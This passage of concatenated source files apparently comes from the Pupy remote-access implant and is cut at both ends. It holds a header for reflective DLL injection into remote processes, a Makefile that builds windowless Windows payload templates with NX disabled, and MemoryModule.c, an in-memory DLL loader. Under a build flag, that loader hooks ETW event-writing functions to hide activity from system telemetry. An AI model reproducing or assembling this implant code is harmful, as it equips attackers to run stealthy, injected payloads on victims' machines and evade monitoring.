hThread; } //===============================================================================================// #endif ================================================ FILE: client/sources-windows-py3/LoadLibraryR.h ================================================ //===============================================================================================// // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H #define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H //===============================================================================================// #include "ReflectiveDLLInjection.h" DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); //===============================================================================================// #endif //===============================================================================================// ================================================ FILE: client/sources-windows-py3/Makefile ================================================ BUILDENV ?= $(PWD)/buildenv PYMAJ ?= 3 PYMIN ?= 10 SUFFIX ?= -$(PYMAJ)$(PYMIN). BITS ?= 32 TEMPLATE_OUTPUT_PATH=../../pupy/payload_templates ifndef ARCH $(error You must specify an architecture - 64 or 32) endif CFLAGS := /D_WIN32 ifeq "$(ARCH)" "64" CFLAGS := $(CFLAGS) /DWIN_X64 /D_WIN64 /nologo PPARCH := x64 BITS := 64 else CFLAGS := $(CFLAGS) /DWIN_X86 /nologo PPARCH := x86 BITS := 32 endif OPENSSL_ABI ?= 1_1 LIBCRYPTO := libcrypto-$(OPENSSL_ABI).dll LIBSSL := libssl-$(OPENSSL_ABI).dll LIBFFI := libffi-7.dll PYTHONPATH ?= C:\\Python$(PYMAJ)-$(BITS) CC := $(BUILDENV)/$(BITS)/cl.sh PYTHON := $(BUILDENV)/$(BITS)/python.sh HOST_PYTHON := python3 CFLAGS += /Iresources\\$(ARCH) /Iresources CFLAGS += /DLIBCRYPTO=\"$(LIBCRYPTO)\" /DLIBSSL=\"$(LIBSSL)\" /DLIBFFI=\"$(LIBFFI)\" CFLAGS += /EHa /GS- /GF- ifdef DEBUG DEBUG_ADD := -debug CFLAGS := $(CFLAGS) /DDEBUG /DVERBOSE #LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:windows /ENTRY:WinMainCRTStartup LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:console PPARCH := $(PPARCH)d CFLAGS_OPT := else DEBUG_ADD := LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:windows /ENTRY:WinMainCRTStartup /LTCG # LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:console /LTCG PPARCH := $(PPARCH) CFLAGS := $(CFLAGS) /DHAVE_WINDOW CFLAGS_OPT := /Os /GL /GS- endif SECARGS := "cl" ".xzdata" CFLAGS := $(CFLAGS) /I..\\common COMMON_OBJS := \ actctx.obj \ MyLoadLibrary.obj \ MemoryModule.obj LOADER_OBJS := \ pupy_load.obj PUPY_MODULE := \ base_inject.obj \ thread.obj remote_thread.obj \ LoadLibraryR.obj \ ReflectiveLoader.obj \ pupy.obj SHARED_OBJS := \ main_reflective.obj APP_OBJS := \ main_exe.obj ifneq ($(FEATURE_DYNLOAD),) CFLAGS += /D_PUPY_DYNLOAD /D_PUPY_PRIVATE_NT #CFLAGS += /D_PUPY_DYNLOAD SHARED_OBJS += ReflectiveLoader.obj LIBPYTHON_LIBS := $(PYTHONPATH)\\libs\\python$(PYMAJ)$(PYMIN).lib advapi32.lib LIBPYTHON_INC := /I$(PYTHONPATH)\\include else SHARED_OBJS += $(PUPY_MODULE) APP_OBJS += $(PUPY_MODULE) endif ifneq ($(FEATURE_POSTMORTEM),) CFLAGS += /DPOSTMORTEM endif ifneq ($(DEBUG),) PUPY_PYD := _pupy_debug.pyd COMMON_OBJS += debug.obj PUPY_MODULE += debug.obj else PUPY_PYD := _pupy.pyd endif PUPY_PYD_C := $(PUPY_PYD:%.pyd=%_pyd.c) PUPY_PYD_LOADER := $(PUPY_PYD_C:%.c=%.loader) ifeq ($(UNCOMPRESSED),) COMMON_OBJS += LzmaDec.obj COMPRESSED = 1 else CFLAGS += /DUNCOMPRESSED SUFFIX := unc-$(SUFFIX) COMPRESSED = 0 endif PUPY_LOAD_DEPS := \ pupy_load.c \ resources/$(ARCH)/library.c \ resources/$(ARCH)/vcruntime140.c \ resources/$(ARCH)/python3.c \ resources/$(ARCH)/libssl.c \ resources/$(ARCH)/libffi.c \ resources/$(ARCH)/libcrypto.c \ import-tab.c revision.h TARGETS := \ $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)exe \ $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)dll REQUIRED_LIBS := user32.lib ifneq ($(FEATURE_DYNLOAD),) TARGETS += $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)pyd PUPY_LOAD_DEPS += resources/$(ARCH)/$(PUPY_PYD_C) else REQUIRED_LIBS += advapi32.lib endif all: $(TARGETS) pyd: $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)pyd revision.h: if [ -z $$COMMIT ]; then rev=$$(cat ../../.git/`cat ../../.git/HEAD | cut -f 2 -d \ ` | cut -c 1-8); \ else rev=$$COMMIT; fi; echo "#define GIT_REVISION_HEAD \"$$rev\"" >$@ import-tab.c import-tab.h: ../mktab.py $(HOST_PYTHON) $(PFLAGS) $< UCS4 resources/$(ARCH)/library.txt: ../gen_library_compressed_string.py resources/$(ARCH)/library.zip $(HOST_PYTHON) ../gen_library_compressed_string.py $@ resources/$(ARCH)/library.zip resources/$(ARCH)/library.zip: ../build_library_zip.py $(PYTHON) ../build_library_zip.py $@ resources/$(ARCH)/library.c: ../gen_resource_header.py resources/$(ARCH)/library.txt resources/$(ARCH)/library.zip $(HOST_PYTHON) ../gen_resource_header.py resources/$(ARCH)/library.txt $@ $(COMPRESSED) $(SECARGS) resources/$(ARCH)/$(LIBCRYPTO): $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/DLLs/$(LIBCRYPTO) @mkdir -p resources/$(ARCH) cp $< $@ resources/$(ARCH)/$(LIBSSL): $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/DLLs/$(LIBSSL) @mkdir -p resources/$(ARCH) cp $< $@ resources/$(ARCH)/$(LIBFFI): $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/DLLs/$(LIBFFI) @mkdir -p resources/$(ARCH) cp $< $@ resources/$(ARCH)/python$(PYMAJ)$(PYMIN).dll: $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/python$(PYMAJ)$(PYMIN).dll @mkdir -p resources/$(ARCH) cp $< $@ resources/$(ARCH)/vcruntime140.dll: $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/vcruntime140.dll @mkdir -p resources/$(ARCH) cp $< $@ resources/$(ARCH)/libcrypto.c: resources/$(ARCH)/$(LIBCRYPTO) ../gen_resource_header.py $(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS) resources/$(ARCH)/libssl.c: resources/$(ARCH)/$(LIBSSL) ../gen_resource_header.py $(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS) resources/$(ARCH)/libffi.c: resources/$(ARCH)/$(LIBFFI) ../gen_resource_header.py $(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS) resources/$(ARCH)/python3.c: resources/$(ARCH)/python$(PYMAJ)$(PYMIN).dll ../gen_resource_header.py $(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS) resources/$(ARCH)/vcruntime140.c: resources/$(ARCH)/vcruntime140.dll ../gen_resource_header.py $(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS) resources/$(ARCH)/$(PUPY_PYD_C): $(PUPY_PYD) ../gen_resource_header.py $(HOST_PYTHON) ../gen_resource_header.py $< resources/$(ARCH)/$(PUPY_PYD_C) $(COMPRESSED) $(SECARGS) ReflectiveLoader.obj: ReflectiveLoader.c #$(CC) /Fo$@ /c $(CFLAGS) /O2 /Ob1 $< $(CC) /Fo$@ /c $(CFLAGS) $< ifeq ($(UNCOMPRESSED),) LzmaDec.obj: ../common/LzmaDec.c $(CC) /c $(CFLAGS) $(CFLAGS_OPT) $< /Fo$@ endif %.obj: %.c $(CC) /Fo$@ /c $(LIBPYTHON_INC) $(CFLAGS) $(CFLAGS_OPT) $< %.obj: ../common/%.c $(CC) /Fo$@ /c $(LIBPYTHON_INC) $(CFLAGS) $(CFLAGS_OPT) $< pupy_load.obj: $(PUPY_LOAD_DEPS) $(PUPY_PYD): $(PUPY_MODULE) $(COMMON_OBJS) | revision.h $(CC) $(CFLAGS) $(CFLAGS_OPT) $^ /Fe$@ /LD $(LIBPYTHON_LIBS) /link /MAP:$(PUPY_PYD).map $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)exe: $(APP_OBJS) $(COMMON_OBJS) $(LOADER_OBJS) $(CC) $(CFLAGS) $(CFLAGS_OPT) $+ \ /Fe$(TEMPLATE_OUTPUT_PATH)/exe_pupy$(PPARCH)$(SUFFIX)exe $(LINKER_OPTS) $(REQUIRED_LIBS) mv $(TEMPLATE_OUTPUT_PATH)/exe_pupy$(PPARCH)$(SUFFIX)exe $@ unzip -p resources/$(ARCH)/library.zip fid.toc >$@.toc $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)dll: $(SHARED_OBJS) $(COMMON_OBJS) $(LOADER_OBJS) $(CC) $(CFLAGS) $(CFLAGS_OPT) $+ \ /Fe$(TEMPLATE_OUTPUT_PATH)/dll_pupy$(PPARCH)$(SUFFIX)dll /LD $(REQUIRED_LIBS) mv $(TEMPLATE_OUTPUT_PATH)/dll_pupy$(PPARCH)$(SUFFIX)dll $@ unzip -p resources/$(ARCH)/library.zip fid.toc >$@.toc $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)pyd: resources/$(ARCH)/$(PUPY_PYD_C) $(PUPY_PYD) cat resources/$(ARCH)/$(PUPY_PYD_LOADER) $(PUPY_PYD) > $@ mv $(PUPY_PYD) $@ .PHONY: clean clean: rm -f \ $(COMMON_OBJS) \ $(LOADER_OBJS) \ $(PUPY_MODULE) \ $(SHARED_OBJS) \ $(PUPY_PYD_C) \ $(APP_OBJS) \ $(PUPY_PYD) \ *.exp \ *.lib \ *.map \ *.obj \ $(TEMPLATE_OUTPUT_PATH)/*.lib \ $(TEMPLATE_OUTPUT_PATH)/*.exp \ $(TEMPLATE_OUTPUT_PATH)/*.map distclean: clean rm -f revision.h rm -f import-tab.c rm -f import-tab.h rm -f revision.h rm -rf resources $(COMMON_OBJS) $(PYOBJS): import-tab.h ================================================ FILE: client/sources-windows-py3/MemoryModule.c ================================================ /* * Memory DLL loading code * Version 0.0.4 * * Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de * http://www.joachim-bauch.de * * The contents of this file are subject to the Mozilla Public License Version * 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is MemoryModule.c * * The Initial Developer of the Original Code is Joachim Bauch. * * Portions created by Joachim Bauch are Copyright (C) 2004-2015 * Joachim Bauch. All Rights Reserved. * */ #include #include #include #include "debug.h" #include "uthash.h" #ifndef IMAGE_SIZEOF_BASE_RELOCATION // Vista SDKs no longer define IMAGE_SIZEOF_BASE_RELOCATION!? #define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION)) #endif #include "MemoryModule.h" HMEMORYRSRC _MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type); static PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry( void *root, PIMAGE_RESOURCE_DIRECTORY resources, LPCWSTR key); HMEMORYRSRC _MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language); DWORD _MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource); LPVOID _MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource); int _MemoryLoadString(HMEMORYMODULE module, UINT id, LPWSTR buffer, int maxsize); int _MemoryLoadStringEx(HMEMORYMODULE module, UINT id, LPWSTR buffer, int maxsize, WORD language); typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved); typedef int (WINAPI *ExeEntryProc)(void); static void* OffsetPointer(void* data, ptrdiff_t offset) { return (void*) ((uintptr_t) data + offset); } typedef NTSTATUS (WINAPI *t_RtlGetVersion)(OSVERSIONINFOEXW *infow); static NTSTATUS WINAPI RtlGetVersion(OSVERSIONINFOEXW *infow) { static t_RtlGetVersion _RtlGetVersion = NULL; if (!_RtlGetVersion) { HMODULE ntdll = GetModuleHandle("NTDLL"); _RtlGetVersion = (t_RtlGetVersion) GetProcAddress(ntdll, "RtlGetVersion"); } if (!_RtlGetVersion) { return E_UNEXPECTED; } return _RtlGetVersion(infow); } typedef struct { const char *name; FARPROC proc; UT_hash_handle hh; } FUNCHASH; typedef struct { DWORD dwFunctionsCount; DWORD dwBase; FARPROC *fpFunctions; } FUNCIDX; typedef struct { const char *symbol; FARPROC addr; } ImportHooks; typedef struct { const char *dllname; ImportHooks *hooks; } DllHooks; typedef struct { HCUSTOMMODULE *modules; FUNCIDX exports; FUNCHASH *phExportsIndex; int numModules; BOOL initialized; BOOL isDLL; BOOL isRelocated; DWORD pageSize; PIMAGE_NT_HEADERS headers; unsigned char *codeBase; ULONG codeSize; HMODULE hOriginalModule; HMODULE hAliasedModule; PDL_CALLBACKS callbacks; PVOID pvExportFilter; MEMORY_LOAD_FLAGS flags; ExeEntryProc exeEntry; DllEntryProc pcDllEntry; unsigned char *resources; } MEMORYMODULE, *PMEMORYMODULE; typedef struct { LPVOID address; LPVOID alignedAddress; DWORD size; DWORD characteristics; BOOL last; } SECTIONFINALIZEDATA, *PSECTIONFINALIZEDATA; #define GET_HEADER_DICTIONARY(module, idx) &(module)->headers->OptionalHeader.DataDirectory[idx] #define ALIGN_DOWN(address, alignment) (LPVOID)((uintptr_t)(address) & ~((alignment) - 1)) #ifdef DEBUG_OUTPUT static void OutputLastError(const char *msg) { LPVOID tmp; char *tmpmsg; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&tmp, 0, NULL); tmpmsg = (char *)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3); sprintf(tmpmsg, "%s: %s", msg, tmp); OutputDebugString(tmpmsg); LocalFree(tmpmsg); LocalFree(tmp); } #endif static BOOL CopySections(const unsigned char *data, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module) { int i, size; unsigned char *codeBase = module->codeBase; unsigned char *dest; PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers); for (i=0; iheaders->FileHeader.NumberOfSections; i++, section++) { if (section->SizeOfRawData == 0) { // section doesn't contain data in the dll itself, but may define // uninitialized data size = old_headers->OptionalHeader.SectionAlignment; if (size > 0) { dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress, size, MEM_COMMIT, PAGE_READWRITE); if (dest == NULL) { return FALSE; } // Always use position from file to support alignments smaller // than page size. dest = codeBase + section->VirtualAddress; section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest; memset(dest, 0, size); } // section is empty continue; } // commit memory block and copy data from dll dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress, section->SizeOfRawData, MEM_COMMIT, PAGE_READWRITE); if (dest == NULL) { return FALSE; } // Always use position from file to support alignments smaller // than page size. dest = codeBase + section->VirtualAddress; memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData); section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest; } return TRUE; } // Protection flags for memory pages (Executable, Readable, Writeable) static int ProtectionFlags[2][2][2] = { { // not executable {PAGE_NOACCESS, PAGE_WRITECOPY}, {PAGE_READONLY, PAGE_READWRITE}, }, { // executable {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}, }, }; static DWORD GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section) { DWORD size = section->SizeOfRawData; if (size == 0) { if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) { size = module->headers->OptionalHeader.SizeOfInitializedData; } else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) { size = module->headers->OptionalHeader.SizeOfUninitializedData; } } return size; } static BOOL FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData) { DWORD protect, oldProtect; BOOL executable; BOOL readable; BOOL writeable; if (sectionData->size == 0) { return TRUE; } if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE) { // section is not needed any more and can safely be freed if (sectionData->address == sectionData->alignedAddress && (sectionData->last || module->headers->OptionalHeader.SectionAlignment == module->pageSize || (sectionData->size % module->pageSize) == 0)) { // Only allowed to decommit whole pages dprint( "VirtualFree: %p - %p (%lu)\n", sectionData->address, (PCHAR) sectionData->address + sectionData->size, sectionData->size ); VirtualFree(sectionData->address, sectionData->size, MEM_DECOMMIT); } return TRUE; } // determine protection flags based on characteristics executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; readable = (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0; writeable = (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0; protect = ProtectionFlags[executable][readable][writeable]; if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) { protect |= PAGE_NOCACHE; } // change memory access flags dprint( "VirtualProtect: %p - %p (%lu) %08x\n", sectionData->address, (PCHAR) sectionData->address + sectionData->size, sectionData->size, protect ); if (VirtualProtect(sectionData->address, sectionData->size, protect, &oldProtect) == 0) { #ifdef DEBUG_OUTPUT OutputLastError("Error protecting memory page"); #endif return FALSE; } return TRUE; } static BOOL FinalizeSections(PMEMORYMODULE module) { int i; PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers); #ifdef _WIN64 uintptr_t imageOffset = (module->headers->OptionalHeader.ImageBase & 0xffffffff00000000); #else #define imageOffset 0 #endif SECTIONFINALIZEDATA sectionData; sectionData.address = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset); sectionData.alignedAddress = ALIGN_DOWN(sectionData.address, module->pageSize); sectionData.size = GetRealSectionSize(module, section); sectionData.characteristics = section->Characteristics; sectionData.last = FALSE; section++; // loop through all sections and change access flags for (i=1; iheaders->FileHeader.NumberOfSections; i++, section++) { LPVOID sectionAddress = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset); LPVOID alignedAddress = ALIGN_DOWN(sectionAddress, module->pageSize); DWORD sectionSize = GetRealSectionSize(module, section); // Combine access flags of all sections that share a page // TODO(fancycode): We currently share flags of a trailing large section // with the page of a first small section. This should be optimized. if (sectionData.alignedAddress == alignedAddress || (uintptr_t) sectionData.address + sectionData.size > (uintptr_t) alignedAddress) { // Section shares page with previous if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) { sectionData.characteristics = (sectionData.characteristics | section->Characteristics) & ~IMAGE_SCN_MEM_DISCARDABLE; } else { sectionData.characteristics |= section->Characteristics; } sectionData.size = (((uintptr_t)sectionAddress) + sectionSize) - (uintptr_t) sectionData.address; continue; } if (!FinalizeSection(module, §ionData)) { return FALSE; } sectionData.address = sectionAddress; sectionData.alignedAddress = alignedAddress; sectionData.size = sectionSize; sectionData.characteristics = section->Characteristics; } sectionData.last = TRUE; if (!FinalizeSection(module, §ionData)) { return FALSE; } #ifndef _WIN64 #undef imageOffset #endif return TRUE; } static BOOL ExecuteTLS(PMEMORYMODULE module) { unsigned char *codeBase = module->codeBase; PIMAGE_TLS_DIRECTORY tls; PIMAGE_TLS_CALLBACK* callback; PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY( module, IMAGE_DIRECTORY_ENTRY_TLS); if (directory->VirtualAddress == 0) { dprint("No TLS callbacks..\n"); return TRUE; } dprint("Execute TLS..\n"); tls = (PIMAGE_TLS_DIRECTORY) (codeBase + directory->VirtualAddress); callback = (PIMAGE_TLS_CALLBACK *) tls->AddressOfCallBacks; if (callback) { while (*callback) { dprint("Call TLS Callback %p\n", callback); (*callback)((LPVOID) codeBase, DLL_PROCESS_ATTACH, NULL); callback++; } } return TRUE; } static BOOL PerformBaseRelocation(PMEMORYMODULE module, SIZE_T delta) { unsigned char *codeBase = module->codeBase; PIMAGE_BASE_RELOCATION relocation; PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC); if (directory->Size == 0) { return (delta == 0); } relocation = (PIMAGE_BASE_RELOCATION) (codeBase + directory->VirtualAddress); for (; relocation->VirtualAddress > 0; ) { DWORD i; unsigned char *dest = codeBase + relocation->VirtualAddress; unsigned short *relInfo = (unsigned short *)((unsigned char *)relocation + IMAGE_SIZEOF_BASE_RELOCATION); for (i=0; i<((relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++) { DWORD *patchAddrHL; #ifdef _WIN64 ULONGLONG *patchAddr64; #endif int type, offset; // the upper 4 bits define the type of relocation type = *relInfo >> 12; // the lower 12 bits define the offset offset = *relInfo & 0xfff; switch (type) { case IMAGE_REL_BASED_ABSOLUTE: // skip relocation break; case IMAGE_REL_BASED_HIGHLOW: // change complete 32 bit address patchAddrHL = (DWORD *) (dest + offset); *patchAddrHL += (DWORD) delta; break; #ifdef _WIN64 case IMAGE_REL_BASED_DIR64: patchAddr64 = (ULONGLONG *) (dest + offset); *patchAddr64 += (ULONGLONG) delta; break; #endif default: //printf("Unknown relocation: %d\n", type); break; } } // advance to next relocation block relocation = (PIMAGE_BASE_RELOCATION) (((char *) relocation) + relocation->SizeOfBlock); } return TRUE; } static FARPROC GetImportAddr( ImportHooks *hooks, CustomGetProcAddress getProcAddress, HCUSTOMMODULE hModule, LPCSTR pszSymName) { ImportHooks *iter; if (!hooks) return getProcAddress(hModule, pszSymName); for (iter = hooks; iter->symbol; iter ++) { if (!iter->addr) continue; if (!strcmp(iter->symbol, pszSymName)) { dprint("HOOK %s -> %p\n", pszSymName, iter->addr); return iter->addr; } } return getProcAddress(hModule, pszSymName); } static BOOL BuildResourceTables(PMEMORYMODULE module) { unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase; PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY( (PMEMORYMODULE) module, IMAGE_DIRECTORY_ENTRY_RESOURCE); PIMAGE_RESOURCE_DIRECTORY rootResources; if (directory->Size == 0) { module->resources = NULL; return TRUE; } module->resources = codeBase + directory->VirtualAddress; return TRUE; } static BOOL CALLBACK GetVersionExW_Hooked(OSVERSIONINFOEXW *info) { NTSTATUS ntResult = RtlGetVersion(info); return ntResult == S_OK; } static BOOL CALLBACK GetVersionExA_Hooked(OSVERSIONINFOEXA *info) { OSVERSIONINFOEXW infow; DWORD dwResult; NTSTATUS ntResult = RtlGetVersion(&infow); if (ntResult != S_OK) return FALSE; dwResult = WideCharToMultiByte( CP_OEMCP, 0, infow.szCSDVersion, -1, info->szCSDVersion, sizeof(info->szCSDVersion), NULL, NULL ); if (!SUCCEEDED(dwResult)) return FALSE; info->dwOSVersionInfoSize = infow.dwOSVersionInfoSize; info->dwMajorVersion = infow.dwMajorVersion; info->dwMinorVersion = infow.dwMinorVersion; info->dwBuildNumber = infow.dwBuildNumber; info->dwPlatformId = infow.dwPlatformId; info->wServicePackMajor = infow.wServicePackMajor; info->wServicePackMinor = infow.wServicePackMinor; info->wSuiteMask = infow.wSuiteMask; info->wProductType = infow.wProductType; info->wReserved = infow.wReserved; return TRUE; } static ImportHooks* GetHooks(DllHooks *dllhooks, const char *dllName) { DllHooks *iter; for (iter = dllhooks; iter->dllname; iter ++) { if (!_stricmp(iter->dllname, dllName)) { return iter->hooks; } } return NULL; } static BOOL BuildImportTable(PMEMORYMODULE module) { unsigned char *codeBase = module->codeBase; PIMAGE_IMPORT_DESCRIPTOR importDesc; BOOL result = TRUE; PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY( module, IMAGE_DIRECTORY_ENTRY_IMPORT); ImportHooks kernel32Hooks[] = { {"LoadLibraryA", (FARPROC) module->callbacks->loadLibraryA}, {"LoadLibraryW", (FARPROC) module->callbacks->loadLibraryW}, {"LoadLibraryExA", (FARPROC) module->callbacks->loadLibraryExA}, {"LoadLibraryExW", (FARPROC) module->callbacks->loadLibraryExW}, {"GetModuleHandleA", (FARPROC) module->callbacks->getModuleHandleA}, {"GetModuleHandleW", (FARPROC) module->callbacks->getModuleHandleW}, {"GetModuleHandleExA", (FARPROC) module->callbacks->getModuleHandleExA}, {"GetModuleHandleExW", (FARPROC) module->callbacks->getModuleHandleExW}, {"GetModuleFileNameA", (FARPROC) module->callbacks->getModuleFileNameA}, {"GetModuleFileNameW", (FARPROC) module->callbacks->getModuleFileNameW}, {"GetVersionExA", (FARPROC) GetVersionExA_Hooked}, {"GetVersionExW", (FARPROC) GetVersionExW_Hooked}, {"FindResourceA", (FARPROC) module->callbacks->getFindResourceA}, {"FindResourceW", (FARPROC) module->callbacks->getFindResourceW}, {"FindResourceExA", (FARPROC) module->callbacks->getFindResourceExA}, {"FindResourceExW", (FARPROC) module->callbacks->getFindResourceExW}, {"SizeofResource", (FARPROC) module->callbacks->getSizeofResource}, {"LoadResource", (FARPROC) module->callbacks->getLoadResource}, {"CreateThread", (FARPROC) module->callbacks->createThread}, {"GetProcAddress", (FARPROC) module->callbacks->getProcAddress}, {"FreeLibrary", (FARPROC) module->callbacks->freeLibrary}, {NULL, NULL} }; #ifdef _PUPY_PRIVATE_WS2_32 ImportHooks ntdllHooks[] = { {"EtwEventRegister", (FARPROC) module->callbacks->systemEtwRegister}, {"EtwEventWrite", (FARPROC) module->callbacks->systemEtwEventWrite}, {"EtwEventWriteFull", (FARPROC) module->callbacks->systemEtwEventWriteFull}, {"EtwEventUnregister", (FARPROC) module->callbacks->systemEtwUnregister}, {NULL, NULL} }; ImportHooks advapi32Hooks[] = { {"EventRegister", (FARPROC) module->callbacks->systemEtwRegister}, {"EventWrite", (FARPROC) module->callbacks->systemEtwEventWrite}, {"EventWriteFull", (FARPROC) module->callbacks->systemEtwEventWriteFull}, {"EventUnregister", (FARPROC) module->callbacks->systemEtwUnregister}, {NULL, NULL} }; #endif DllHooks dllHooks[] = { { "KERNEL32.DLL", kernel32Hooks }, #ifdef _PUPY_PRIVATE_WS2_32 { "ADVAPI32.DLL", advapi32Hooks }, { "NTDLL.DLL", ntdllHooks }, #endif {NULL, NULL} }; if (directory->Size == 0) return TRUE; dprint("Resolving imports\n"); importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (codeBase + directory->VirtualAddress); for ( ; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++ ) { ImportHooks *hooks = NULL; uintptr_t *thunkRef; FARPROC *funcRef; HCUSTOMMODULE *tmp; HCUSTOMMODULE handle; LPCSTR lpcszLibraryName = (LPCSTR) (codeBase + importDesc->Name); dprint( "Import %s (LoadLibraryA = %p)\n", lpcszLibraryName, module->callbacks->loadLibraryA ); handle = module->callbacks->loadLibraryA(lpcszLibraryName); dprint("Import %s -> %p\n", lpcszLibraryName, handle); if (!handle) { SetLastError(ERROR_MOD_NOT_FOUND); result = FALSE; break; } tmp = (HCUSTOMMODULE *) realloc( module->modules, (module->numModules+1)*(sizeof(HCUSTOMMODULE))); if (tmp == NULL) { module->callbacks->freeLibrary(handle); SetLastError(ERROR_OUTOFMEMORY); result = FALSE; 